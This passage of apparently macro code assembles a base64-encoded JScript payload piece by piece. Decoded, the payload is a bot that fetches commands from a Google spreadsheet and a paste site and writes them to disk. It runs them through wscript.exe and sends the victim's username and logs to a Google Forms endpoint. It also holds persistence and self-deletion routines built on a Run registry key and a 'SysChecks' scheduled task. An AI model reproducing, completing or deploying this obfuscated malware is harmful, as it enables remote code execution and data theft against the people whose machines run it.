  335.  f = f & "Z29vZ2xlLmNvbS9zcHJlYWRzaGVldC9jY2M/a2V5PSIgKyBzcHJlYWRzaGVldGtleSk7DQoJCQk"
  336.  f = f & "JCQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQ"
  337.  f = f & "oJCQkJCQkJdmFyIGNtZF90eHQgPSBIVE1MUGFyc2UoZ29fY29tWyd0ZXh0J10pLmRvY3VtZW50L"
  338.  f = f & "mRvY3VtZW50RWxlbWVudC5pbm5lclRleHQ7DQoJCQkJCQkJdmFyIGNvbW1hbmQgPSBzcGxpdChj"
  339.  f = f & "bWRfdHh0LCckJCQnLDMpOwkNCgkJCQkJCQlpZiAoY29tbWFuZC5sZW5ndGggPT0gNCkgew0KCQk"
  340.  f = f & "JCQkJCQljbWJfb2IuYyA9IGNvbW1hbmRbMl07DQoJCQkJCQkJCWNtYl9vYi5sID0gY29tbWFuZF"
  341.  f = f & "sxXTsNCgkJCQkJCQkJY21iX29iLmZsYWcgPSB0cnVlOw0KCQkJCQkJCX1lbHNlew0KCQkJCQkJC"
  342.  f = f & "QljbWJfb2IuZmxhZyA9IGZhbHNlOw0KCQkJCQkJCX0NCgkJCQkJCQlsZWdjID0gMDsNCgkJCQkJ"
  343.  f = f & "CX1lbHNlew0KCQkJCQkJCWxlZ2MgPSBwYXJzZUludChsZWdjKSsxOw0KCQkJCQkJfQ0KCQkJCQk"
  344.  f = f & "JDQoJCQkJCQlsZWdjID0gc2V0TGFzdEV4ZUdvb2dDbWQobGVnYyk7DQoJCQkJCQlpZihsZWdjID"
  345.  f = f & "49IDEgJiYgbGVnYyA8PTQpcmV0dXJuOw0KCQkJCQkJDQoJCQkJCQlpZiggIWNtYl9vYi5mbGFnI"
  346.  f = f & "Cl7DQoJCQkJCQkJdmFyIHBiX2NvbSA9IEluZXRSZWFkKGxpbmtQQik7DQoJCQkJCQkJaWYoIHBi"
  347.  f = f & "X2NvbVsnc3RhdCddID49IDIwMCAmJiAgcGJfY29tWydzdGF0J10gPCAzMDApew0KCQkJCQkJCQl"
  348.  f = f & "2YXIganNuID0gZXZhbCAoIigiICsgcGJfY29tWyd0ZXh0J10gKyAiKSIpOw0KCQkJCQkJCQljbW"
  349.  f = f & "Jfb2IuYyA9IGpzblsiY29kZSJdOw0KCQkJCQkJCQljbWJfb2IubCA9IGpzblsnbGFzdCddOw0KC"
  350.  f = f & "QkJCQkJCQljbWJfb2IuZmxhZyA9IHRydWU7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCWNtYl9v"
  351.  f = f & "Yi5mbGFnID0gZmFsc2U7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCQlpZiggY21"
  352.  f = f & "iX29iLmZsYWcgKXsNCgkJCQkJCQlpZihsYXN0ICE9IGNtYl9vYi5sKXsNCgkJCQkJCQkJLy9sYX"
  353.  f = f & "N0ID0gY21iX29iLmw7DQoJCQkJCQkJCXZhciByID0gVGV4dEZpbGVDcmVhdGUoIiVBTExVU0VSU"
  354.  f = f & "1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyXFxkdHRzZy50eHQiKTsNCgkJCQkJCQkJci5X"
  355.  f = f & "cml0ZShjbWJfb2IubCk7DQoJCQkJCQkJCXIuQ2xvc2UoKTsNCgkJCQkJCQkJTG9nKCJHZXRDb21"
  356.  f = f & "tYW5kOjoiICsgY21iX29iLmMpOw0KCQkJCQkJCQkvL2V2YWwoY21iX29iLmMpOw0KCQkJCQkJCQ"
  357.  f = f & "lpZihsYXN0ID09ICIiKXJldHVybjsNCgkJCQkJCQkJDQoJCQkJCQkJCXZhciBjb2RfZGF0YSA9I"
  358.  f = f & "EJhc2U2NC5kZWNvZGUoY21iX29iLmMpOwkJCQkJCQkJDQoJCQkJCQkJCWlmKGNvZF9kYXRhID09"
  359.  f = f & "ICJkZWxldGVCb3QiKWRlc3Ryb3koKTsNCg0KCQkJCQkJCQl2YXIgdGVtcG5hbWUxID0gIkxhbkN"
  360.  f = f & "yYWREcml2ZXIuaW5pIjsNCgkJCQkJCQkJdmFyIHRlbXBuYW1lMiA9ICJMYW5DcmFkRHJpdmVyLn"
  361.  f = f & "ZicyI7DQoJCQkJCQkJCXZhciB0bXBQYXRoID0gV3NoU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTd"
  362.  f = f & "HJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhbnNiYXNlT2RiY0RyaXZlciIpOw0KCQkJCQkJ"
  363.  f = f & "CQl2YXIgdGVtcGF0aDEgPSB0bXBQYXRoICsgIlxcIit0ZW1wbmFtZTE7DQoJCQkJCQkJCXZhciB"
  364.  f = f & "0ZW1wYXRoMiA9IHRtcFBhdGggKyAiXFwiK3RlbXBuYW1lMjsNCgkJCQkJCQkJDQoJCQkJCQkJCX"
  365.  f = f & "ZhciBmID0gRlNPLk9wZW5UZXh0RmlsZSh0ZW1wYXRoMSwyLGZhbHNlLC0xKTsNCgkJCQkJCQkJZ"
  366.  f = f & "i5Xcml0ZShjb2RfZGF0YSk7DQoJCQkJCQkJCWYuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAg"
  367.  f = f & "ICAgICAgICAgICAgICAgDQoJCQkJCQkJCVdTY3JpcHQuU2xlZXAoNTAwMCk7DQoJCQkJCQkJCVd"
  368.  f = f & "zaFNoZWxsLlJ1bignY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiJyArIHRlbXBhdGgyICsgJyInLD"
  369.  f = f & "AsZmFsc2UpOwkNCgkJCQkJCQl9CQkJCQkJCQ0KCQkJCQkJfWVsc2V7DQoJCQkJCQkJTG9nKCJHZ"
  370.  f = f & "XRDb21tYW5kOjoiICsgIm5vIGV4ZWN0Iik7DQoJCQkJCQl9CQkJCQkNCiAgICAgICAgICAgICAg"
  371.  f = f & "ICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBMb2coIkdldENvbW1hbmQ"
  372.  f = f & "6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiANCi"
  373.  f = f & "AgICAgICAgZnVuY3Rpb24gZ2V0UmFuZG9tSW50KG1pbiwgbWF4KSB7DQogICAgICAgICAgICAgI"
  374.  f = f & "CAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBt"
  375.  f = f & "aW47DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0U2NyaXB0RGlyKCkgew0KICA"
  376.  f = f & "gICAgICAgICAgICAgIHJldHVybiBHZXRTY3JpcHRGdWxsUGF0aCgpLnJlcGxhY2UoL1teXFxdKy"
  377.  f = f & "QvZywgIiIpOw0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIEdldFNjcmlwdEZ1bGxQY"
  378.  f = f & "XRoKCkgew0KICAgICAgICAgICAgICAgIGlmIChHbG9iYWxPYmplY3QubG9jYXRpb24gJiYgR2xv"
  379.  f = f & "YmFsT2JqZWN0LmxvY2F0aW9uLmhyZWYpIHJldHVybiB1bmVzY2FwZShsb2NhdGlvbi5ocmVmLnJ"
  380.  f = f & "lcGxhY2UoL14uK1wvXC9cLy8sICIiKS5yZXBsYWNlKC9cLy9nLCAiXFwiKSk7DQogICAgICAgIC"
  381.  f = f & "AgICAgICAgaWYgKEdsb2JhbE9iamVjdC5XU2NyaXB0KSByZXR1cm4gV1NjcmlwdC5TY3JpcHRGd"
  382.  f = f & "WxsTmFtZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gIiI7DQogICAgICAgIH0NCiANCiAgICAg"
  383.  f = f & "ICAgZnVuY3Rpb24gSFRNTFBhcnNlKGNvZGUsIGRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIHsNCiA"
  384.  f = f & "gICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRvY3VtZW"
  385.  f = f & "50ID0gbmV3IEFjdGl2ZVhPYmplY3QoIkhUTUxGaWxlIik7DQogICAgICAgICAgICAgICAgICAgI"
  386.  f = f & "CAgICBpZiAoIWRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIGRvY3VtZW50LmRlc2lnbk1vZGUgPSAi"
  387.  f = f & "b24iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoY29kZSk7DQogICA"
  388.  f = f & "gICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIC"
  389.  f = f & "AgICAgICAgaWYgKCFkb250X3ByZXZlbnRfY29kZV9leGVjKSBkb2N1bWVudC5leGVjQ29tbWFuZ"
  390.  f = f & "Cgic3RvcCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGRvY3VtZW50LnBhcmVu"
  391.  f = f & "dFdpbmRvdzsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICA"
  392.  f = f & "gICAgICAgICBMb2coIkhUTUxQYXJzZTo6IiArIGUuZGVzY3JpcHRpb24pDQogICAgICAgICAgIC"
  393.  f = f & "AgICAgfTsNCiAgICAgICAgICAgICAgICByZXR1cm4ge307DQogICAgICAgIH0NCiANCiAgICAgI"
  394.  f = f & "CAgZnVuY3Rpb24gTG9nKHZhbHVlKSB7DQogICAgICAgICAgICAgICAgdmFsdWUgPSB2YWx1ZSB8"
  395.  f = f & "fCAiIjsNCgkJCQl2YWx1ZQ0KICAgICAgICAgICAgICAgIHZhbHVlID0gZ3VpZCArICIkJCQiICs"
  396.  f = f & "gYm90Y2xhc3MgKyAiOjoiICsgR2V0VXNlck5hbWUoKSArICI6OiIgKyBlbmNvZGVVUkkodmFsdW"
  397.  f = f & "UpOw0KCQkJCUxvZ0luZXQodmFsdWUsZm9ybWtleSxlbnRyeSk7DQogICAgICAgIH0NCiANCiAgI"
  398.  f = f & "CAgICAgZnVuY3Rpb24gRmlsZUV4aXN0cyhQYXRoKSB7DQogICAgICAgICAgICAgICAgUGF0aCA9"
  399.  f = f & "IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsNCiAgICAgICAgICAgICA"
  400.  f = f & "gICByZXR1cm4gRlNPLkZvbGRlckV4aXN0cyhQYXRoKSB8fCBGU08uRmlsZUV4aXN0cyhQYXRoKT"
  401.  f = f & "sNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiBUZXh0RmlsZVJlYWQoUGF0aCkgew0KI"
  402.  f = f & "CAgICAgICAgICAgICAgIGlmICghUGF0aCkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIGlm"
  403.  f = f & "ICghRmlsZUV4aXN0cyhQYXRoKSkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIFBhdGggPSB"
  404.  f = f & "Xc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoUGF0aCk7DQogICAgICAgICAgICAgIC"
  405.  f = f & "AgaWYgKEZTTy5HZXRGaWxlKFBhdGgpLlNpemUgPT0gMCkgcmV0dXJuICIiOw0KICAgICAgICAgI"
  406.  f = f & "CAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgU3RyZWFtID0gRlNPLk9w"
  407.  f = f & "ZW5UZXh0RmlsZShQYXRoLCAxLCAwLCAtMiksDQogICAgICAgICAgICAgICAgICAgICAgICAgICA"
  408.  f = f & "gICAgIFJlc3VsdCA9IFN0cmVhbS5SZWFkQWxsKCk7DQogICAgICAgICAgICAgICAgICAgICAgIC"
  409.  f = f & "BTdHJlYW0uQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBSZXN1bHQ7D"
  410.  f = f & "QogICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAg"
  411.  f = f & "Ly9Mb2coIlRleHRGaWxlUmVhZDo6IiArIFBhdGggKyAiOjoiICsgZS5kZXNjcml0aW9uKTsNCiA"
  412.  f = f & "gICAgICAgICAgICAgICB9Ow0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIFRleHRGaW"
  413.  f = f & "xlQ3JlYXRlKFBhdGgpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgI"
  414.  f = f & "CAgICAgICAgUGF0aCA9IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsN"
  415.  f = f & "CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlRXhpc3RzKFBhdGgpKSBGU08uRGVsZXR"
  416.  f = f & "lRmlsZShQYXRoLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGU08uT3"
  417.  f = f & "BlblRleHRGaWxlKFBhdGgsIDIsIDEsIC0xKQ0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpI"
  418.  f = f & "HsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiVGV4dEZpbGVDcmVhdGU6OiIgKyBlLmRl"
  419.  f = f & "c2NyaXB0aW9uKQ0KICAgICAgICAgICAgICAgIH07DQogICAgICAgICAgICAgICAgcmV0dXJuIG5"
  420.  f = f & "1bGw7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2VuZXJhdGVTdHJpbmcoTCkgew"
  421.  f = f & "0KICAgICAgICAgICAgICAgIGlmICghTCkgTCA9IDg7DQogICAgICAgICAgICAgICAgcmV0dXJuI"
  422.  f = f & "G5ldyBBY3RpdmVYT2JqZWN0KCJTY3JpcHRsZXQuVHlwZUxpYiIpLkd1aWQucmVwbGFjZSgvW15c"
  423.  f = f & "d10rL2csICIiKS5zbGljZSgwLCBMKTsNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiB"
  424.  f = f & "DcmVhdGVPYmplY3QoUHJvZ0lkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBBY3Rpdm"
  425.  f = f & "VYT2JqZWN0KFByb2dJZCk7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0VXNlc"
  426.  f = f & "k5hbWUoKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAg"
  427.  f = f & "IHJldHVybiBDcmVhdGVPYmplY3QoIldTY3JpcHQuTmV0V29yayIpLlVzZXJOYW1lOw0KICAgICA"
  428.  f = f & "gICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiR2"
  429.  f = f & "V0VXNlck5hbWU6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgI"
  430.  f = f & "HJldHVybiAiVW5rbm93biINCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAg"
  431.  f = f & "ICBmdW5jdGlvbiBnZXRMYXN0RXhlR29vZ0NtZCgpIHsNCgkJCXZhciByZWdWYWx1ZSA9IDA7DQo"
  432.  f = f & "JCQl0cnkgewkJCQ0KCQkJCXJlZ1ZhbHVlID0gV3NoU2hlbGwuUmVnUmVhZChrZXlQYXRoKTsNCg"
  433.  f = f & "kJCX0gY2F0Y2ggKGUpIHsNCgkJCQlzZXRMYXN0RXhlR29vZ0NtZChyZWdWYWx1ZSk7DQoJCQl9D"
  434.  f = f & "QoJCQlyZXR1cm4gcmVnVmFsdWU7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc2V0TGFz"
  435.  f = f & "dEV4ZUdvb2dDbWQocmVnVmFsdWUpIHsNCgkJCXRyeSB7CQkJDQoJCQkJV3NoU2hlbGwuUmVnV3J"
  436.  f = f & "pdGUoa2V5UGF0aCxyZWdWYWx1ZSwgIlJFR19TWiIpOwkJCQ0KCQkJfSBjYXRjaCAoZSkgew0KCQ"
  437.  f = f & "kJCXJldHVybiAtMTsNCgkJCX0NCgkJCXJldHVybiByZWdWYWx1ZTsJCQkJCQkNCiAgICAgICAgf"
  438.  f = f & "Q0KCQkNCgkJZnVuY3Rpb24gc0RPUzJXaW4oc1RleHQsIGJJbnNpZGVPdXQpIHsNCgkJICB2YXIg"
  439.  f = f & "YUNoYXJzZXRzID0gWyJ3aW5kb3dzLTEyNTEiLCAiY3A4NjYiXTsNCgkJICBzVGV4dCArPSAiIjs"
  440.  f = f & "NCgkJICBiSW5zaWRlT3V0ID0gYkluc2lkZU91dCA/IDEgOiAwOw0KCQkgIHdpdGggKG5ldyBBY3"
  441.  f = f & "RpdmVYT2JqZWN0KCJBRE9EQi5TdHJlYW0iKSkgeyANCgkJCXR5cGUgPSAyOyAvL0JpbmFyeSAxL"
  442.  f = f & "CBUZXh0IDIgKGRlZmF1bHQpIA0KCQkJbW9kZSA9IDM7IC8vUGVybWlzc2lvbnMgaGF2ZSBub3Qg"
  443.  f = f & "YmVlbiBzZXQgMCwgIFJlYWQtb25seSAxLCAgV3JpdGUtb25seSAyLCAgUmVhZC13cml0ZSAzLCA"
  444.  f = f & "gDQoJCQkvL1ByZXZlbnQgb3RoZXIgcmVhZCA0LCAgUHJldmVudCBvdGhlciB3cml0ZSA4LCAgUH"
  445.  f = f & "JldmVudCBvdGhlciBvcGVuIDEyLCAgQWxsb3cgb3RoZXJzIGFsbCAxNg0KCQkJY2hhcnNldCA9I"
  446.  f = f & "GFDaGFyc2V0c1tiSW5zaWRlT3V0XTsNCgkJCW9wZW4oKTsNCgkJCXdyaXRlVGV4dChzVGV4dCk7"
  447.  f = f & "DQoJCQlwb3NpdGlvbiA9IDA7DQoJCQljaGFyc2V0ID0gYUNoYXJzZXRzWzEgLSBiSW5zaWRlT3V"
  448.  f = f & "0XTsNCgkJCXJldHVybiByZWFkVGV4dCgpOw0KCQkgIH0NCgkJfQkJDQoNCgkJZnVuY3Rpb24gZG"
  449.  f = f & "VzdHJveSgpew0KCQkJdHJ5IHsNCgkJCQlXc2hTaGVsbC5SZWdEZWxldGUoIkhLRVlfQ1VSUkVOV"
  450.  f = f & "F9VU0VSXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVu"
  451.  f = f & "XFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXRyeSB7DQo"
  452.  f = f & "JCQkJV3NoU2hlbGwuUnVuKCdzY2h0YXNrcyAvZGVsZXRlIC90biAiU3lzQ2hlY2tzIiAvZicsID"
  453.  f = f & "AsIGZhbHNlKTsNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXZhciBzdHJTY3JpcHREaXIgPSBXc2hTa"
  454.  f = f & "GVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VSU1BST0ZJTEUlXFxUcmFuc2Jh"
  455.  f = f & "c2VPZGJjRHJpdmVyIik7DQoJCQl2YXIgc3RyU2NyaXB0ID0gIiI7DQoJCQkNCgkJCXRyeSB7DQo"
  456.  f = f & "JCQkJc3RyU2NyaXB0ID0gV1NjcmlwdC5TY3JpcHRGdWxsTmFtZTsNCgkJCQlpZihGU08uRmlsZU"
  457.  f = f & "V4aXN0cyhzdHJTY3JpcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KC"
  458.  f = f & "QkJfWNhdGNoKGUpe30JDQoNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGly"
  459.  f = f & "ICsgIlxcTGFuQ3JhZERyaXZlci5pbmkiOyANCgkJCQlpZihGU08uRmlsZUV4aXN0cyhzdHJTY3J"
  460.  f = f & "pcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KCQkJfWNhdGNoKGUpe3"
  461.  f = f & "0JDQoJCQl0cnkgew0KCQkJCXN0clNjcmlwdCA9IHN0clNjcmlwdERpciArICJcXExhbkNyYWREc"
  462.  f = f & "ml2ZXIudmJzIjsgDQoJCQkJaWYoRlNPLkZpbGVFeGlzdHMoc3RyU2NyaXB0KSl7IEZTTy5EZWxl"
  463.  f = f & "dGVGaWxlKHN0clNjcmlwdCwgdHJ1ZSk7CX0NCgkJCX1jYXRjaChlKXt9CQ0KCQkJdHJ5IHsNCgk"
  464.  f = f & "JCQlzdHJTY3JpcHQgPSBzdHJTY3JpcHREaXIgKyAiXFxzdGFydGVyLnZicyI7IA0KCQkJCWlmKE"
  465.  f = f & "ZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRyd"
  466.  f = f & "WUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2Ny"
  467.  f = f & "aXB0RGlyICsgIlxccGF0aGVyLnZicyI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcml"
  468.  f = f & "wdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQ"
  469.  f = f & "kNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGlyICsgIlxccGF0aGVyLmlua"
  470.  f = f & "SI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShz"
  471.  f = f & "dHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCQkJCQ0KCQkJV1NjcmlwdC5"
  472.  f = f & "RdWl0KCk7CQkJDQoJCX0JCQkNCn0NCg0KZnVuY3Rpb24gQ3JlYXRlRGlyKCl7DQoJdHJ5IHsNCg"
  473.  f = f & "kJdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCgkJd"
  474.  f = f & "mFyIGRpcnBhdGggPSBXc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VS"
  475.  f = f & "U1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJdmFyIEZTTyA9IFdTY3JpcHQ"
  476.  f = f & "uQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpOyAJCQ0KCQlpZighRl"
  477.  f = f & "NPLkZvbGRlckV4aXN0cyhkaXJwYXRoKSl7DQoJCQlGU08uQ3JlYXRlRm9sZGVyKGRpcnBhdGgpO"
  478.  f = f & "w0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX1jYXRjaChlKXt9DQoJcmV0dXJuIHRydWU7DQp9CQ0K"
  479.  f = f & "DQpmdW5jdGlvbiBnZXRQcm94eSgpew0KCXZhciBXc2hTaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN"
  480.  f = f & "0KCJXU2NyaXB0LlNoZWxsIik7DQoJDQoJdHJ5IHsNCgkJdmFyIFByb3h5RW5hYmxlID0gV3NoU2"
  481.  f = f & "hlbGwuUmVnUmVhZCgiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpb"
  482.  f = f & "mRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUiKTsN"
  483.  f = f & "CgkJaWYoUHJveHlFbmFibGUgPT0gMSl7DQoJCQl2YXIgUHJveHlTZXJ2ZXIgPSBXc2hTaGVsbC5"
  484.  f = f & "SZWdSZWFkKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1"
  485.  f = f & "xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlciIpOw0KCQkJc"
  486.  f = f & "mV0dXJuIFByb3h5U2VydmVyOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAiIjsNCgkJfQ0KCX0gY2F0"
  487.  f = f & "Y2ggKGUpIHsNCgkJcmV0dXJuICIiOw0KCX0JCQkNCn0NCg0KZnVuY3Rpb24gSW5ldFJlYWQodXJ"
  488.  f = f & "sKSB7DQoJCXZhciBkYXRhX3NhdGF1c19hcnIgPSBuZXcgT2JqZWN0KCk7DQoJCXRyeSB7DQoJCQ"
  489.  f = f & "kJdmFyIGh0dHBSZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTXN4bWwyLlNlcnZlclhNTEhUVFAuN"
  490.  f = f & "i4wIik7DQoJCQkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyAvL1NYSF9TRVJWRVJfQ0VS"
  491.  f = f & "VF9JR05PUkVfQUxMX1NFUlZFUl9FUlJPUlMgPSAxMzA1NjsgIFNYSF9PUFRJT05fVVJMID0gLTE"
  492.  f = f & "NCgkJCQlodHRwUmVxLnNldFRpbWVvdXRzKDAsIDAsIDAsIDApOw0KCQkJCWh0dHBSZXEub3Blbi"
  493.  f = f & "giR0VUIiwgdXJsLCBmYWxzZSk7DQoJCQkJdmFyIHByb3ggPSBnZXRQcm94eSgpDQoJCQkJaWYoI"
  494.  f = f & "HByb3ggIT0gIiIpew0KCQkJCQlodHRwUmVxLnNldFByb3h5KDIsIHByb3gsICIiKTsNCgkJCQl9"
  495.  f = f & "CQkJCQ0KCQkJCWh0dHBSZXEuc2V0UmVxdWVzdEhlYWRlcigiVXNlci1hZ2VudCIsICJNb3ppbGx"
  496.  f = f & "hLzUuMCAoTGludXg7IFU7IEFuZHJvaWQgMi4zLjM7IHpoLXR3OyBIVEMgUHlyYW1pZCBCdWlsZC"
  497.  f = f & "9HUkk0MCkgQXBwbGVXZWJLaXQvNTMzLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuM"
  498.  f = f & "CBNb2JpbGUgU2FmYXJpLzUzMy4xIik7DQoJCQkJaHR0cFJlcS5zZW5kKCk7DQoJCQkJLy9XU2Ny"
  499.  f = f & "aXB0LkVjaG8oaHR0cFJlcS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKSk7DQoJCQkJLy9XU2NyaXB"
  500.  f = f & "0LkVjaG8oaHR0cFJlcS5zdGF0dXMpOw0KCQkJCWRhdGFfc2F0YXVzX2Fyclsnc3RhdCddID0gaH"
  501.  f = f & "R0cFJlcS5zdGF0dXM7DQoJCQkJZGF0YV9zYXRhdXNfYXJyWyd0ZXh0J10gPSBodHRwUmVxLnJlc"
  502.  f = f & "3BvbnNlVGV4dDsNCgkJfSBjYXRjaCAoZSkgeyANCgkJCS8vV1NjcmlwdC5FY2hvKGh0dHBSZXEu"
  503.  f = f & "c3RhdHVzKTsNCgkJCWRhdGFfc2F0YXVzX2FyclsndGV4dCddID0gIiI7DQoJCQlkYXRhX3NhdGF"
  504.  f = f & "1c19hcnJbJ3N0YXQnXSA9ICIxMDAiOw0KCQl9Ow0KCQlyZXR1cm4gZGF0YV9zYXRhdXNfYXJyOw"
  505.  f = f & "0KfQ0KDQpmdW5jdGlvbiBMb2dJbmV0KHZhbHVlLGZvcm1rZXksZW50cnkpIHsNCgl0cnkgew0KC"
  506.  f = f & "Ql2YXIgaHR0cFJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuU2VydmVyWE1MSFRUUC42"
  507.  f = f & "LjAiKTsNCgkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyANCgkJaHR0cFJlcS5zZXRUaW1"
  508.  f = f & "lb3V0cygwLCAwLCAwLCAwKTsNCgkJdXJsID0gImh0dHBzOi8vZG9jcy5nb29nbGUuY29tL2Zvcm"
  509.  f = f & "1zL2QvIiArIGZvcm1rZXkgKyAiL2Zvcm1SZXNwb25zZSI7DQoJCWh0dHBSZXEub3BlbigiUE9TV"
  510.  f = f & "CIsIHVybCwgZmFsc2UpOw0KCQl2YXIgcHJveCA9IGdldFByb3h5KCkNCgkJaWYoIHByb3ggIT0g"
  511.  f = f & "IiIpew0KCQkJaHR0cFJlcS5zZXRQcm94eSgyLCBwcm94LCAiIik7DQoJCX0NCgkJaHR0cFJlcS5"
  512.  f = f & "zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLWFnZW50IiwgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW"
  513.  f = f & "5kcm9pZCAyLjMuMzsgemgtdHc7IEhUQyBQeXJhbWlkIEJ1aWxkL0dSSTQwKSBBcHBsZVdlYktpd"
  514.  f = f & "C81MzMuMSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIE1vYmlsZSBTYWZhcmkvNTMz"
  515.  f = f & "LjEiKTsNCgkJaHR0cFJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGl"
  516.  f = f & "jYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CQ0KCQlodHRwUmVxLnNlbmQoZW50cnkgKy"
  517.  f = f & "AiPSIgKyB2YWx1ZSk7DQoJfSBjYXRjaCAoZSkge30NCn0NCiANCmZ1bmN0aW9uIHNwbGl0KHN0c"
